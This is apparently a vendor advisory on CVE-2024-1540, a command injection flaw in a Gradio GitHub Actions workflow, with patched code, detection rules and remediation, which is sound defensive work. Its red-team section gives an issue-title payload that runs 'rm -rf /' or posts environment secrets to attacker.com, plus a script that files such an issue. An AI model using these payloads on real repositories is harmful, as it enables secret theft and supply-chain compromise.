CVE-2024-1540
Executive Summary
CVE-2024-1540 is a critical command injection vulnerability (CVSS 8.6) identified in the deploy+test-visual.yml workflow of the gradio-app/gradio repository. The flaw arises from improper neutralization of special elements used in a command, specifically within a GitHub Actions run operation. Attackers can exploit this by injecting malicious commands through GitHub context variables (e.g., ${{ github.event.issue.title }}), which are evaluated and substituted before script execution. This can lead to unauthorized modification of the base repository or exfiltration of secrets. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the CI/CD pipeline of the Gradio project, which is a Python package (PyPI: gradio). While the package itself is not directly affected, the supply chain risk is significant: an attacker who compromises the CI workflow could inject malicious code into the Gradio package, affecting all downstream users. Organizations using Gradio should monitor for updates and consider forking the repository to apply custom security controls.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via GitHub events.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the workflow.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Secrets can be exfiltrated.
- Integrity (I): High (H) – Repository code can be modified.
- Availability (A): High (H) – Workflow disruption possible.
Threat Level: Critical. The vulnerability allows remote code execution in the CI environment, with potential for supply chain compromise.
Deep Dive & Mechanics
The vulnerability is located in the deploy+test-visual.yml GitHub Actions workflow. The workflow uses a run step that directly interpolates GitHub context variables (e.g., ${{ github.event.issue.title }}) into a shell command. For example:
- name: Deploy and test visual
run: |
echo "Processing issue: ${{ github.event.issue.title }}"
# ... further commands using the title
GitHub Actions evaluates expressions inside ${{ }} before the script is executed. If an attacker creates an issue with a title containing shell metacharacters (e.g., ; rm -rf / ;), the resulting command becomes:
echo "Processing issue: ; rm -rf / ;"
This allows arbitrary command execution. The attacker does not need write access to the repository; they only need to create an issue or pull request that triggers the workflow.
Attack Flow:
- Attacker creates an issue in the
gradio-app/gradiorepository with a malicious title. - The
deploy+test-visual.ymlworkflow is triggered (e.g., onissues: opened). - The
runstep interpolates the title into a shell command. - The injected command executes, allowing the attacker to exfiltrate secrets (e.g.,
${{ secrets.GITHUB_TOKEN }}) or modify repository content.
Vulnerable vs. Patched Code
Vulnerable Code (from deploy+test-visual.yml):
- name: Deploy and test visual
run: |
echo "Processing issue: ${{ github.event.issue.title }}"
# ... other commands
Patched Code (recommended):
- name: Deploy and test visual
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
echo "Processing issue: $ISSUE_TITLE"
# ... other commands
By setting the untrusted input to an environment variable (ISSUE_TITLE), the shell interprets it as a variable rather than part of the command string, preventing injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A GitHub account.
- Ability to create an issue in the
gradio-app/gradiorepository (or a forked copy for testing).
Steps:
- Fork the
gradio-app/gradiorepository to your own GitHub account. - Create a new issue with the following title:
test; echo "INJECTED" > /tmp/pwned.txt; curl -X POST -d "$(env)" http://attacker.com/exfil; - Monitor the workflow run in the Actions tab. The injected command will execute, creating a file or exfiltrating environment variables.
Proof-of-Concept (PoC) Script:
import requests
# Replace with your forked repo details
repo = "your-username/gradio"
token = "your_github_token"
headers = {"Authorization": f"token {token}"}
payload = {
"title": "test; echo 'INJECTED' > /tmp/pwned.txt;",
"body": "This is a test."
}
response = requests.post(f"https://api.github.com/repos/{repo}/issues", json=payload, headers=headers)
print(response.status_code)
Blue Team (Defense & Detection)
Detection:
- Monitor GitHub Actions logs for unexpected commands or output.
- Alert on workflow runs triggered by issues with suspicious titles (e.g., containing
;,|,$).
Prevention:
- Use environment variables for all untrusted inputs.
- Restrict workflow triggers to trusted users or require approval.
- Implement branch protection rules to prevent direct pushes to default branches.
Indicators of Compromise (IOCs)
- Network: Outbound connections from GitHub Actions runners to unknown IPs/domains.
- File System: Unexpected files created in the runner's workspace (e.g.,
/tmp/pwned.txt). - Process: Execution of
curl,wget, or other network tools in workflow logs. - Logs: GitHub Actions logs containing shell metacharacters in issue titles.
Detection Engineering
YARA Rule
rule CVE_2024_1540_CommandInjection {
meta:
description = "Detects command injection patterns in GitHub Actions workflow files"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1540"
strings:
$injection = /\$\{\{.*(?:;|\||`|\$\().*\}\}/
condition:
$injection
}
Sigma Rule
title: CVE-2024-1540 Command Injection in Gradio CI/CD
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in GitHub Actions workflow logs
author: Valters IT
logsource:
category: process_creation
product: github_actions
detection:
selection:
CommandLine|contains:
- ';'
- '|'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of shell metacharacters in issue titles
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1540 Gradio CI Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/repos/"; http_uri; content:"/issues"; http_uri; pcre:"/title.*(?:;|\||`|\$\().*$/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable workflow until a patch is applied.
- Audit all workflows for similar unsafe interpolation of GitHub context variables.
- Rotate all secrets that may have been exposed (e.g.,
GITHUB_TOKEN, deployment keys).
Long-Term Fix:
- Apply the patched code pattern: set untrusted inputs to environment variables before use.
- Implement input validation and sanitization for all GitHub context variables.
- Use GitHub's built-in
envcontext to pass values safely.
Workaround:
- Restrict workflow triggers to only trusted users (e.g., repository collaborators).
- Use
ifconditions to skip workflows for untrusted actors.
Valters IT
Securing DevOps, One Pipeline at a Time